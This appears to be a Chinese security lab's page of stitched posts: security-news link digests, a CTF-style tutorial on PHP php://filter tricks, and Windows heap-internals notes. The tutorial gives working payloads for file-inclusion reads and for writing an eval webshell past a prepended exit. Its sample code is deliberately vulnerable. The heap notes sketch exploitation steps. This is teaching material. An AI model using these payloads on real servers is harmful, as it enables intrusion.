免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、恶意软件伪装成破解软件进行传播 https://thehackernews.com/2021/09/traffic-exchange-networks-distributing.html 2、NETGEAR 修复了智能交换机中多个高危漏洞 https://thehackernews.com/2021/09/critical-auth-bypass-bug-affect-netgear.html 3、Apple宣布推迟设备图像扫描计划 https://thehackernews.com/2021/09/critical-auth-bypass-bug-affect-netgear.html 4、一名TrickBot 团伙成员在首尔国际机场被捕 https://securityaffairs.co/wordpress/121909/cyber-crime/trickbot-gang-developer-arrested.html 5、NPM包"pac-resolver"修复远程代码执行漏洞 https://www.zdnet.com/article/this-npm-package-with-millions-of-weekly-downloads-has-fixed-a-remote-code-execution-flaw 6、报告称2021 年上半年勒索软件攻击增加了 288% https://www.helpnetsecurity.com/2021/09/06/ransomware-attacks-increased-2021/ 7、FBI警告针对食品和农业领域的勒索软件攻击 https://www.hackread.com/fbi-somware-attack-food-agriculture-sectors/ 8、O.MG充电电缆可以从苹果设备远程窃取数据 https://www.hackread.com/o-mg-malicious-lighting-cable-log-keystrokes-malware/ 9、包含3900万法国人详细信息的数据库在暗网出售 https://www.technadu.com/massive-pack-containing-details-of-39-million-french-is-for-sale-on-the-darkweb/299454/ 10、新的恶意软件使用CLFS日志文件来躲避检测 https://thehackernews.com/2021/09/this-new-malware-family-using-clfs-log.html

filter协议的简单利用： php://filter 是一种元封装器， 设计用于数据流打开时的筛选过滤应用。 这对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、 file() 和 file_get_contents()， 在数据流内容读取之前没有机会应用其他过滤器。 resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。 read=<读链的筛选列表>         该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。 write=<写链的筛选列表>    该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 首先给出最简单的文件包含的示例代码： <?php $file = $_GET["file"]; include($file); ?> 在同目录下有一个flag.php文件： <?php $flag = "flag{Lxxx}"; 想要读取flag.php文件，可以利用filter伪协议，传参如下： ?file=php://filter/convert.base64-encode/resource=flag.php 这样即可读到flag.php文件base64加密过后的内容 PD9waHANCiRmbGFnID0gImZsYWd7THh4eH0iOw0K 然而，对于filter协议，不只有这一种写法： ?file=php://filter/read=convert.base64-encode/resource=flag.php #这一种是指定读链的筛选列表 除了使用convert.base64-encode过滤器，还可以使用其他的一些过滤器，比如字符编码类型的，payload如下： ?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php 得到结果： ?<hp p$ lfga= " lfgaL{xx}x;" 将其解码，同样可以得到flag.php原内容 <?php$str = "lfga= \" lfgaL{xx}x;\"";echo iconv('UCS-2BE', 'UCS-2LE', $str);?> 得到结果： flag = "flag{Lxxx}"; 其他有关PHP支持的字符编码官方文档如下：https://www.php.net/manual/zh/mbstring.supported-encodings.php filter协议的进阶利用： 利用filter伪协议绕过死亡之die、死亡之exit 假设我们有以下代码： <?php$content = $_POST['content'];file_put_contents($_GET['filename'], "<?php exit; ?>".$content); 这几行代码允许我们写入文件，但是当我们写入文件的时候会在我们写的字符串前添加exit的命令。这样导致我们即使写入了一句话木马，依然是执行不了一句话的。 分析这几行代码，一共需要我们传两个参数，一个是POST请求的content，另一个是GET请求的filename，而对于GET请求中的filename变量，我们是可以通过php://filter伪协议来控制的，在前面有提到，最常见的方法是使用base64的方法将content解码后传入。 base64编码绕过： 假设我们先随便传入一句话木马： ?filename=php://filter/convert.base64-decode/resource=1.phpPOSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ 这个时候我们打开1.php文件： 可以发现里面是一堆乱码，原因是不仅我们的加密后的一句话木马进行了base64解码，而且前面的死亡之exit也进行了解码。 我们仔细分析一下死亡之exit的代码： <?php exit; ?> base64编码中只包含64个可打印字符，而当PHP在解码base64时，遇到不在其中的字符时，会选择跳过这些字符，将有效的字符重新组成字符串进行解码。 例如： <?php$str = "THh4eA==";echo base64_decode($str);?> 得到结果：Lxxx 如果我们在str变量中添加一些不可见的字符或者是不可解码字符（\x00，?） <?php$str = "TH?h4eA==";echo base64_decode($str);?> 得到的结果仍然为：Lxxx 因此，对于死亡之exit中的代码，字符<、?、;、>、空格等字符不符合base64解码范围。最终解码符合要求的只有phpexit这7个字符，而base64在解码的时候，是4个字节一组，因此还少一个，所以我们将这一个手动添加上去。 传payload如下： ?filename=php://filter/convert.base64-decode/resource=1.phpPOSTDATA: content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ content中第一个字符a就是我们添加的 这个时候我们查看1.php的内容如下： 可以看到一句话木马已经成功写入了。 rot13编码绕过： 除了使用base64编码绕过，我们还可以使用rot13编码绕过。相比base64编码，rot13的绕过死亡之exit更加方便，因为不用考虑前面添加的内容是否可以用base64解码，也不需要计算可base64解码的字符数量。 同样的还是上面的示例代码： <?php$content = $_POST['content'];file_put_contents($_GET['filename'], "<?php exit; ?>".$content); 传payload： ?filename=php://filter/string.rot13/resource=1.phpPOSTDATA: content=<?cuc riny($_CBFG[1]);?> 打开1.php文件： 可以看到，一句话木马也成功写入了。 虽然rot13更加的方便，但是还是有缺点，就是当服务器开启了短标签解析，一句话木马即使写入了，也不会被PHP解析。 多种过滤器绕过： 再仔细观察死亡之exit的代码： <?php exit; ?> 可以看到死亡之exit的代码其实本质上是XML标签，因此我们可以使用strip_tags函数除去该XML标签 并且，filter协议允许我们使用多种过滤器，所以我们还是针对上面的实例代码： <?php$content = $_POST['content'];file_put_contents($_GET['filename'], "<?php exit; ?>".$content); 传payload如下： ?filename=php://filter/string.strip_tags|convert.base64-decode/resource=1.phpPOSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ 查看1.php 这时候可以看到一句话木马干干净净地在1.php文件中，不掺杂任何杂质 参考资料 https://www.leavesongs.com/PENETRATION/php-filter-magic.html https://xz.aliyun.com/t/8163 相关实验：https://www.yijinglab.com/expc.do?ec=ECIDa96d-c30c-45f2-b109-1adb6a9fc2ee<>

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Pacific City Bank遭 AVOS Locker 勒索软件攻击 https://securityaffairs.co/wordpress/121872/cyber-crime/pacific-city-bank-avos-locker-ransomware.html 2、WhatsApp 因 违反GDPR 相关规定被罚款 2.25 亿欧元 https://securityaffairs.co/wordpress/121866/security/whatsapp-fined-e225m-gdpr.html 3、新西兰第三大运营商Vocus ISP遭大规模DDoS攻击 https://securityaffairs.co/wordpress/121856/hacking/new-zealand-ddos.html 4、Babuk 勒索软件源码在黑客论坛出售 https://securityaffairs.co/wordpress/121831/cyber-crime/babuk-source-code-leak.html 5、Conti 勒索软件利用ProxyShell漏洞攻击Exchange服务器 https://securityaffairs.co/wordpress/121815/cyber-crime/conti-ransomware-gang-proxyshell.html 6、FIN7黑客利用Windows 11主题文档钓鱼攻击传播后门 https://thehackernews.com/2021/09/fin7-hackers-using-windows-11-themed.html 7、攻击者可利用Comcast遥控器中的漏洞进行射频攻击 https://threatpost.com/comcast-rf-attack-remotes-surveillance/169133 8、新的恶意软件使用CLFS日志文件来逃避检测 https://thehackernews.com/2021/09/this-new-malware-family-using-clfs-log.html 9、研究人员设计了一种阻止USB恶意软件的设备 https://www.infosecurity-magazine.com/news/invent-device-thwart-usb-malware/ 10、美国迪尔菲尔德镇数据泄露暴露居民个人信息 https://www.recorder.com/Deerfield-residents-victim-of-security-breach-42259800

windows和linux堆管理机制虽然呈现给用户的效果是一样的，大体思路也是差不太多，但是底层实现逻辑大相径庭，很多地方和glibc的ptmalloc差别很大。网上资料零零散散，而且都是通过逆向手段分析，所以每个版本资料还多少有些差异，在这里对windows堆管理机制做个归纳，学习一下。 接口 在glibc中，通常我们调用的分配函数就是malloc、calloc、realloc，但是这三个函数本质都差不多，本体还是malloc函数的逻辑。 在windows中，堆的分配函数就比较多了这里我们逐一介绍一下。 函数原型参数说明HeapAlloc(HANDLE hHeap, DWORD dwFlags, size_t dwSize)hHeap为进程堆开始位置，flag就是标志，size就是大小。内存是指定位置开始分配，且分配的内存不可移动。对应的释放函数是HeapFreeGlobalAlloc(UINT uFlags, size_t dwBytes)uflag标志信息：GMEM_FIXED分配固定内存，返回一个指针；GMEM_MOVABLE分配活动内存，返回内存对象句柄，这个句柄可以利用GlobalLock转化为指针。从全局堆中分配内存，相应的释放函数是GlobalFreeLocalAlloc(UIN 从接口信息可以看出来，windows和linux堆的一个很大的不同点就是windows的堆有很多，linux的话都在一个区域里。 另外，globalalloc和localalloc在现代的win32以后的版本中没有区别，这两个函数刚开始是在16位windows中使用有区别的。在win32中每个程序都有一个自己的缺省堆，所以全局堆和局部堆在win32中都指向这个缺省堆，这俩没区别，甚至释放函数都可以混着用。等效于heapAlloc(GetProcessHeap(),flag,size) malloc函数虽然不像其他的函数那样指明了堆区，但是实际上windows中malloc函数在初始化的时候自己HeapCreate了一段堆内存区域供他使用。每个模块的malloc都有自己的堆区域，所以不能一个dllfree掉另一个dll的堆指针。 概览 windows堆管理机制较之于linux比较复杂，管理机制也分好几套。 UWP即Windows通用应用平台，Windows 10中的Universal Windows Platform简称。UWP不同于传统pc上的exe应用，可以在所有Windows10设备上运行。UWP应用程序进程至少包括三个堆：（1） 默认堆（2） 用于向进程的会话Csrss.exe实例传递大参数的共享堆。这是由CsrClientConnectToServer函数创建的，该函数在Ntdll.dll完成的进程初始化早期执行。（3） 由Microsoft C运行库创建的堆。该堆是由C/C++内存分配函数（如Maloc、Free、等）内部使用的堆。 在Windows10和服务器2016之前，只有一种堆类型，我们称之为NT堆。Windows 10引入了一种称为段堆（segment heap）的新堆类型。这两种堆类型包括公共元素，但结构和实现方式不同。默认情况下，所有UWP应用程序和某些系统进程都使用段堆，而所有其他进程都使用NT堆。这可以在注册表中更改。 大部分场合默认使用的堆都是NT heap，segment heap通常会在winapp或者某些特殊的进程（核心进程）中会使用到。 而在NT heap中又分为前端管理和后端管理两套不同的堆分配管理策略。 而windows程序的堆又分为两种： 第一种叫做processheap，它包括两个部分，一个是default heap，其地址信息回存放于_PEB中，在调用malloc等函数的时候会用到。第二个是crtheap，但是其本质一样是default，封装了一些别的信息，存放于crt_heap中。 第二种叫做private heap，也就是我们通过HeapCreate创建的堆。 NT堆 大体流程 大体流程就是windows app调用msvcrt140.dll函数中的形如malloc、free等函数后，会调用kernel32.dll中的堆管理api，接着调用ntdll中的管理机制。 这里的管理机制中，LFH就是前端管理的核心，那么整个流程具体来说就是如下的逻辑： （1） 小于或等于16368字节，使用LFH分配器。这与NT堆的逻辑类似。如果LFH还没有启动，那么将使用可变大小（VS）分配器。（2） 对于小于或等于128 KB的大小（不由LFH提供服务），使用VS分配器。VS和LFH分配器都使用后端根据需要创建所需的堆子段。（3） 大于128 KB且小于或等于508 KB的分配由堆后端直接提供服务。（4） 大于508kb的分配直接调用内存管理器（VirtualAlloc），因为这些分配非常大，因此使用默认的64kb分配粒度（并舍入到最接近的页面大小）就足够了。 如果LFH没有启用，那么就直接调用后端堆管理机制。 启用LFH后，第一次申请或者LFH内部空间不够时会从后端堆中申请一段大空间来使用。 如果LFH搞定了申请，那么直接由LFH返回，不调用后端。 可以看出前端分配器就有点类似于linux中的fastbin。 这里要说明一下，在之前的windows版本中，前端分配器并不是LFH，而是look aside表，也就是0day一书中提到的快表，但是windows10中已经不适用lookaside了。 数据结构 由前面的内容可以看出来windows有很多的堆，从linux的管理机制中，我们知道每个堆都由一个重要的数据结构malloc_state来管理，这些个mallocstate就称之为arena，主线程叫main_arena，别的叫thread_arena，这些个数据结构由指针链接形成链表。 那么在windows的堆管理机制中，同样也需要类似于arena这样的结构体。但是不同于linux，每个这样的堆管理结构体是存放于每个堆段的头部，并不是在某些dll的数据段中。 这个数据结构就称之为_HEAP,长这个样子： +0x000 Segment : _HEAP_SEGMENT +0x000 Entry : _HEAP_ENTRY +0x008 SegmentSignature : Uint4B //用来判断NT还是Segment +0x00c SegmentFlags : Uint4B +0x010 SegmentListEntry : _LIST_ENTRY +0x018 Heap : Ptr32 _HEAP +0x01c BaseAddress : Ptr32 Void +0x020 NumberOfPages : Uint4B +0x024 FirstEntry : Ptr32 _HEAP_ENT 其中比较重要的字段意义都写在了注释中。 在linux中，堆是由一个个chunk构成的，在windows中也一样，也是由一个个堆块构成。 这样一个堆块的结构，称之为_HEAP_ENTRY。这个结构比较奇怪，似乎有好几种实现方式？以为同样偏移有不同的意思。 ntdll!_HEAP_ENTRY +0x000 UnpackedEntry : _HEAP_UNPACKED_ENTRY +0x000 PreviousBlockPrivateData : Ptr64 Void +0x008 Size : Uint2B +0x00a Flags : UChar +0x00b SmallTagIndex : UChar +0x008 SubSegmentCode : Uint4B +0x00c PreviousSize : Uint2B +0x00e SegmentOffset : UChar +0x00e LFHFlags : UChar +0x00f Un 在老外逆出来的c版本中是这样的： //0x10 bytes (sizeof)struct _HEAP_ENTRY{ union { struct _HEAP_UNPACKED_ENTRY UnpackedEntry; //0x0 struct { VOID* PreviousBlockPrivateData; //0x0 union { struct { USHORT Size; //0x8 UCHAR Flags; //0xa UCHAR SmallTagIndex; //0xb }; struct { ULONG SubSegmentCode; //0x8 USHORT PreviousSize; //0xc union 这里的话主要是因为一个chunk（也就是_HEAP_ENTRY,这么叫方便些）有不同的状态，所以就union一下。 那么具体来说，一个chunk有三种状态：使用（allocated）、释放（free）、虚拟（virtual alloc）（mmap出来的chunk）。 使用状态（inuse）： 偏移&名称大小意义0x0: PreviousBlockPrivateData8bytes前一个chunk的数据，由于需要0x10对其所以算在头部0x8: Size2bytes本chunk的大小，这里的大小是 real_size >> 40xa: Flag1byte表示当前chunk是否inuse0xb: smallTagIndex1byte前三个byte（size和flag）做xor后的值，验证作用0xc: PreviousSIze2bytes表示前一个chunk的size，同样也是右移4位后的值0xe: SegmentOffset1byte某些情况下用来找segment0xf: Unused 释放状态（unused): 偏移&名称大小意义0x0: PreviousBlockPrivateData8bytes前一个chunk的数据，由于需要0x10对其所以算在头部0x8: Size2bytes本chunk的大小，这里的大小是 real_size >> 40xa: Flag1byte表示当前chunk是否inuse0xb: smallTagIndex1byte前三个byte（size和flag）做xor后的值，验证作用0xc: PreviousSIze2bytes表示前一个chunk的size，同样也是右移4位后的值0xe: SegmentOffset1byte某些情况下用来找segment0xf: Unused virtualAlloc状态： 偏移&名称大小意义0x0: flink8bytes双向链表指针0x8: blink8bytes双向链表指针0x10: size2bytes这里的size是unusedsize，且没有进行移位0x12: flag1byte 0x13: smallTagIndex1byte 0x14: PreviousSIze2bytes 0x16: SegmentOffset1byte 0x17:UnusedBytes1byte恒为4 这里的virtualalloc的chunk状态可能有些勘误，因为网上关于这里的资料比较少。 这里要说明一下，关于chunk头部的验证： 在之前的_HEAP结构体中有一个encoding字段，这个cookie就是为了加密头部来用的，具体来说就是xor一下，所以在对chunk进行操作的时候会验证其有效性。同时SmallTagIndex也会对flag和size做一个验证。 free_list 这个是在_HEAP中的一个指针，指向的是free的chunk的链表，双向有序链表。在一个chunk被释放后，会插入到这个list中（类似于unsortedbin） BlocksIndex 这个指针的结构是_HEAP_LIST_LOOKUP。 这一结构体长这个样子： //0x38 bytes (sizeof)struct _HEAP_LIST_LOOKUP{ struct _HEAP_LIST_LOOKUP* ExtendedLookup; //0x0 指向下一个lookup，通常chunk会更大 ULONG ArraySize; //0x8 管理的最大chunk大小（右移4位后） ULONG ExtraItem; //0xc ULONG ItemCount; //0x10 当前管理的chunk数 ULONG OutOfRangeItems; //0x14 超出该结构体管理的chunk数量 ULONG BaseIndex; //0x18 该结构管理的chu 这两个链表之间的关系如下图（摘自angelboy的slide） 可以看到，所有的chunk都是存储在freelist中，而blockindex用来定位这些在freelist中的chunk的位置，快速找到合适大小的chunk。 NT后端管理机制 管理机制无非就是申请和释放的逻辑。 申请 申请时，分为三种情况： 1.Size<=0x40002.0x4000<size<=0xff0003.Size>0xff000 第一种情况，当size<=0x4000时：1.查看size对应到的FrontEndHeapStatusBitmap使否有启用LFH如果有的话会对对应到的FrontEndHeapUsageData加上0x21，并且检查值是否超过0xff00或者 &0x1f 后超过0x10 : 超过则启用LFH。 2.接下来首先查看对应的ListHint中是否有chunk，有则优先分配（先看快表）如果有大小合适的chunk在ListHint上则移除ListHint，并且查看chunk的Flink⼤⼩是否size与此chunk相同(注意FreeLists按大小排序)：为空则清空，否则将LintHint填上Flink。最后unlink该chunk，把此chunk从linkedlist中移除返回给user，并将header xor回去(返回时header被encode) 3: 若没有大小合适的chunk: 则从比较⼤的ListHint中找，有找到比较大的chunk后，同样查看下⼀块chunk的size是不是一样大小，有则填上，并且unlink该chunk, 从freelist移除。最后将chunk做切割，剩下的⼤⼩重新加入Freelist，如果可以放进ListHint就会放进去，将切割好的chunk返回给使用者(chunk header同样encode) 4.如果FreeList中没有可以操作的chunk，则尝试ExtendHeap来加大heap空间，再从extend出来的heap取chunk，接着像上面一样分割返回(chunk header encode)，剩下的放回ListHint 第二种情况，当0x4000<size<=0xff000 基本和第一种情况差不多，但是没有LFH操作。 第三种情况，当size大于0xff000 直接使⽤ZwAllocateVirtualMemory，类似直接mmap一大块空间，并且会插入到_HEAP->VirtualAllocdBlocks这个linked list中(这个linked list用来串接该HeapVirtualAllocate出来的区段) 释放 分两种情况，大于小于0xff000分别讨论 size<=0xff000 1：首先检查alignment，利⽤unusedbyte判断该chunk状态如果是非LFH模式下，会对对应到的FrontEndHeapUsageData减12：接下来会判断前后的chunk是否为freed，是的话就合并此时会把可以合并的chunk unlink，并从ListHint移除(移除⽅式与前⾯相同，查看下一个chunk是不是相同⼤⼩，是则补上ListHint)3：合并之后，update size&prevsize，然后查看是不是最前跟最后，是就插入，否则就从ListHint中插入，并且update ListHint，插入 时也会对linked list进行检查(此检查不会abort，其 具体的流程可以参考angelboy的slide。 size > 0xff000 检查该chunk的linkedlist并从_HEAP->VirtualAllocdBlocks移除接着使⽤RtlpSecMemFreeVirtualMemory将chunk整个munmap掉 NT前端管理机制 也就是之前一直提到的LFH（low fragment heap），在win10主要使用，只有在非调试状态下才会启用，根据之前的内容也不难推测，是用来管理大小小于0x4000的chunk的。 要想触发LFH，需要分配18个相同大小的堆块，他们可以不连续。 如何查看LFH是否开启呢？在windbg中，可以通过dt _HEAP [Heap Address]查看heap结构体，在偏移0x0d6处FrontEndHeapType字段可以揭示是否开启了LFH，如果为0则说明后端堆在管理，为1就是lookaside策略，2就说明是LFH。 另一种方式可以查看一个chunk是否属于LFH管理，通过!heap -x [Chunk Address]来查看 数据结构 相关的重要的数据结构为_LFH_HEAP，在 _HEAP结构中，frontEndHeap指针指向这一结构。 这个结构的话不同版本windows还不一样，贴个图： 这里看win10的就可以 0:001> dt _LFH_HEAPntdll!_LFH_HEAP +0x000 Lock : _RTL_SRWLOCK +0x008 SubSegmentZones : _LIST_ENTRY +0x018 Heap : Ptr64 Void //指向对应的_HEAP +0x020 NextSegmentInfoArrayAddress : Ptr64 Void +0x028 FirstUncommittedAddress : Ptr64 Void +0x030 ReservedAddressLimit : Ptr64 Void +0x038 SegmentCreate : Uint4B 可以看到这结构体类似于_HEAP,包含了很多指针信息，这其中又有两个结构体需要分析一下。 _HEAP_BUCKET ntdll!_HEAP_BUCKET +0x000 BlockUnits : Uint2B //分配block大小>>4 +0x002 SizeIndex : UChar //使用大小>>4 +0x003 UseAffinity : Pos 0, 1 Bit +0x003 DebugFlags : Pos 1, 2 Bits +0x003 Flags : UChar _HEAP_LOCAL_SEGMENT_INFO ntdll!_HEAP_LOCAL_SEGMENT_INFO +0x000 LocalData : Ptr64 _HEAP_LOCAL_DATA//对应 _LFH_HEAP->LocalData ，便于从 SegmentInfo 找回 _LFH_HEAP +0x008 ActiveSubsegment : Ptr64 _HEAP_SUBSEGMENT//对应已分配的Subsegment,用于管理userblock记录剩余多少chunk、最大分配书等等 +0x010 CachedItems : [16] Ptr64 _HEAP_SUBSEGMENT//_HEAP_SUBSEGMENT array 其中，cachedItems比较重要，其结构体为_HEAP_SUBSEGMENT: ntdll!_HEAP_SUBSEGMENT +0x000 LocalInfo : Ptr64 _HEAP_LOCAL_SEGMENT_INFO//指向对应的_HEAP_LOCAL_SEGMENT_INFO +0x008 UserBlocks : Ptr64 _HEAP_USERDATA_HEADER //记录要分配出去的chunk所在位置，开头存储一些metadata来管理这些chunk +0x010 DelayFreeList : _SLIST_HEADER +0x020 AggregateExchg : _INTERLOCK_SEQ //用来管理对应的userblock中还有多少free _INTERLOCK_SEQ ntdll!_INTERLOCK_SEQ +0x000 Depth : Uint2B //该userblock剩余freechunk的数量 +0x002 Hint : Pos 0, 15 Bits +0x002 Lock : Pos 15, 1 Bit +0x002 Hint16 : Uint2B +0x000 Exchg : Int4B _HEAP_USERDATA_HEADER ntdll!_HEAP_USERDATA_HEADER +0x000 SFreeListEntry : _SINGLE_LIST_ENTRY +0x000 SubSegment : Ptr64 _HEAP_SUBSEGMENT //指回对应的_HEAP_SUBSEGMENT +0x008 Reserved : Ptr64 Void +0x010 SizeIndexAndPadding : Uint4B +0x010 SizeIndex : UChar +0x011 GuardPagePresent : UChar +0x012 PaddingBytes : Uint2B +0x014 Sign 其中的EncodingOffset字段就是个验证，在USERBLOCK初始化时会生成这个数值作为验证用，其数值具体来说是以下四个值的xor： (sizeof(userblock header)) | (blockunit*0x10 << 16)LFHkeyUserblock addrLFH_HEAP addr 在_HEAP_USERDATA_HEADER之后就是一系列的chunks。 在LFH中，chunk虽然还是chunk，但是头部信息和之前学的chunk不一样 偏移&名称大小意义0x0: PreviousBlockPrivateData8bytes前一个chunk的数据，由于需要0x10对其所以算在头部0x8: SubSegmentCode4bytesencode过的metadata，用来推回userblock的位置0xc: PreviousSIze2bytes该chunk在userblock中的index0xe: SegmentOffset1byte 0xf: UnusedByte1byte恒为0x80，用来判断是否为LFH的freechunk0x10: UserData 其中，SubSegmentCode的值为这四个值的xor： _HEAP addressLFHkeyChunk address >> 4((chunk address) - (UserBlock address)) << 12 搞了这么多结构体，头疼眼晕，好在angelboy大佬给出了LFHheap的overview： 管理机制 在之前的后端管理逻辑中已经对LFH这一概念有所提及。 申请 LFH涉及到初始化工作，具体来说就是查看size对应到的FrontEndHeapStatusBitmap使否有启用LFH如果有的话会对对应到的FrontEndHeapUsageData加上0x21，并且检查值是否超过0xff00或者 &0x1f 后超过0x10 : 超过则启用LFH。也就是在FrontEndHeapUsageData[x] & 0x1F > 0x10的时候，置位_HEAP->CompatibilityFlag |= 0x20000000，下一次Allocate就会对LFH进行初始化： 首先会ExtendFrontENdUsageData，也就是将这个数值增大，然后增加更大的_HEAP->BlocksIndex,因为这里_HEAP->BlocksIndex可以理解为一个_HEAP_LIST_LOOKUP结构的单向链表（参考上面Back-End的解释），且默认初始情况下只存在一个管理比较小的（0x0 ~ 0x80）的chunk的_HEAP_LIST_LOOKUP，所以这里会扩展到（0x80 ~ 0x400），即在链表尾追加一个管理更大chunk的_HEAP_LIST_LOOKUP结构体结点。 在 FrontEndHeapUsageData 写上对应的index，此时 enable LFH 范围变为 (idx: 0-0x400)FrontEndHeapUsageData中分为两部分：对应用于判断LFH是否需要初始化的map以及已经enable LFH的chunk size (例如enable malloc 0x50大小的chunk，则写入0x50>>4=5) 原BlocksIndex进行扩展，即新建一个BlocksIndex，写入原BlocksIndex->ExtendedLookup，进行扩展 建立并初始化_HEAP->FrontEndHeap（通过mmap），即初始化_LFH_HEAP的一些metadata。 建立并初始化_LFH_HEAP->SegmentInfoArrays[x]，在SegmentInfoArrays[BucketIndex]处填上对应的_HEAP_LOCAL_SEGMENT_INFO结构体指针。 在初始化后，从LFH分配内存的逻辑为： 1.先看ActiveSubSegment中是否有可以分配的chunk，这个是否有的判断标准就是ActiveSubSegment->AggregateExchg->depth 2.如果没有就从CachedItem中找，找到的话会把ActiveSubSegment换成CachedItem中的SubSegment 到了这一步时，LFH分配器就找到了UserBlock，UserBlock中有很多的chunk可以供用户使用，LFH选取chunk的标准如下： 1.首先从RtlpLowFragHeapRandomData中下标为x处取一个值，这个名字很长的数组是一个长度为256byte的元素大小范围为0-0x7f的随机数数组，每次取，x都会自增1，如果x超过了256，那么x = rand()%256. 2.最终获取的index为RtlLowFragHeapRandomData[x]*maxidx >> 7,检查bitmap是否为0，如果冲突了的话就往后找最近的 3.检查(unused byte & 0x3f)!=0(表示chunk是free的) 4.最后设置index（chunk头部中的previoussize）和unusedbyte返回给用户。 释放 1.将unused位改成0x80 2.根据头部中的字段找到userblock，然后找会Subsegment，根据index设置bitmap 3.更新ActiveSubSegment->AggregateExchg 4.如果释放的chunk不属于当前的ActiveSubSegment就看一下能不能放到cachedItems中，可以就放进去。 利用方式 地址问题 先不考虑如何利用的事，首先关注最基本的问题，要泄漏什么地址？地址在哪？ 假设我们有了任意内存地址读写，那么我们就需要泄漏一些关键的函数地址，比如说system，以及攻击的目标点，比如栈地址。 不同于linux，windows有一堆dll函数库。 这里，根据angelboy的slide，需要泄漏的地址为kernelbase以及stackaddress，这两个地址在kernel32.dll。 那么如何泄漏ntdll呢？_HEAP_LOCK相关的信息会指向ntdll，具体来说，就是_HEAP->LockVariable.Lock以及CriticalSection->DebugInfo 在ntdll!PebLdr中，_PEB_LDR_DATA可以找到所有dll的位置。 同样可以从IAT表中找到kernel32，不过需要先泄漏binary的地址。 在KERNELBASE!BasepFilterInfo中，会有大概率包含stack的指针，这个主要是因为内存没有初始化。 如果这个上面没有想要的地址，可以从PEB向后算一个page，通常会是TEB上，这上面也会有stack的地址信息。 攻击的话，angelboy提出的方式就是泄漏地址，然后攻击栈写rop或者shellcode。 后端利用方式 unlink 和linux中的unlink很像（都是双向链表的节点移除），但是绕过条件和linux不同，因为头部的信息不同，需要对一些encode的字段构造一下。还有就是flink和blink指向的是userdata部分。 具体构造就是p -> fd = &p-8, p->bk = &p. 前端利用方式 angelboy同样是只是草草的介绍了下如果有了uaf的话，如何绕过随机在LFHuserblock中分配到指定chunk的方式，具体来说就是填满其他的，下一次肯定就会落到目标点。那么有了uaf之后呢，劫持哪些指针劫持到哪里并没有说明。所以这里的话还需要后续调试的时候整理。 具体怎么攻击才叫合理？哪些攻击面呢？ 由于Angelboy给的利用方式太少，而且比较笼统局限，所以我又参考了别的资料，想找到一些类似于linux堆利用手法的攻击方式。 然而现实打了我一巴掌，根据冠城大佬的ppt，在windows中，想通过攻击堆的头部或者其他字段来进行getshell几乎不可能，因为windows堆的防御机制十分严格。堆中比较合理的攻击手法似乎就只有unlink或者其他形式的修改函数指针的方式。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Moxa 铁路通信设备受60个漏洞影响 https://www.securityweek.com/flaws-moxa-railway-devices-could-allow-hackers-cause-disruptions 2、BrakTooth：新的蓝牙漏洞可能影响数百万台设备 https://www.securityweek.com/braktooth-new-bluetooth-vulnerabilities-could-affect-millions-devices 3、Mozi 僵尸网络的作者已被抓捕 https://blog.netlab.360.com/the_death_of_mozi_cn/ 4、WhatApp 修复图像过滤功能可能导致数据泄露的高危漏洞 https://securityaffairs.co/wordpress/121778/security/whatsapp-cve-2020-1910-data-exposure.html 5、攻击者正在积极利用 Confluence 最近修补的漏洞 https://securityaffairs.co/wordpress/121760/hacking/confluence-cve-2021-26084-rce.html 6、Autodesk 证实遭 SolarWinds 供应链攻击 https://www.bleepingcomputer.com/news/security/autodesk-reveals-it-was-targeted-by-russian-solarwinds-hackers 7、法国药店在线平台泄露了70万Covid检测结果 https://www.connexionfrance.com/French-news/700000-French-pharmacy-Covid-test-results-left-publicly-available 8、英国 VoIP 运营商VoIP Unlimited 和 Voipfone 遭 DDoS 攻击中断 https://www.theregister.com/2021/09/02/uk_voip_telcos_revil_ransom/ 9、Node.js修补高危tar处理漏洞 https://portswigger.net/daily-swig/node-js-archives-serious-tar-handling-vulnerabilities-with-software-update 10、FTC 禁止 SpyFone 销售 Stalkerware 监视软件 https://www.securityweek.com/ftc-bans-spyfone-surveillance-business-selling-stalkerware

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、新加坡政府科技局在HackerOne上推出新的漏洞奖励计划 https://www.securityweek.com/singapore%E2%80%99s-govtech-announces-new-vulnerability-rewards-programme 2、谷歌发布 Chrome 93 ，修复27个安全漏洞 https://www.securityweek.com/google-awards-over-130000-flaws-patched-release-chrome-93 3、 Linphone SIP 客户端belle-sip库存严重漏洞 https://www.securityweek.com/vulnerability-allows-remote-dos-attacks-against-apps-using-linphone-sip-stack 4、 研究人员提出基于机器学习的蓝牙认证方案 https://thehackernews.com/2021/08/researchers-propose-machine-learning.html 5、Cream Finance加密货币交易平台遭到黑客攻击 https://threatpost.com/cream-finance-defi-29m/169077/ 6、Market黑客组织在暗网出售日本富士通的数据 https://www.zdnet.com/article/fujitsu-says-stolen-data-being-sold-on-dark-web-related-to-customers/ 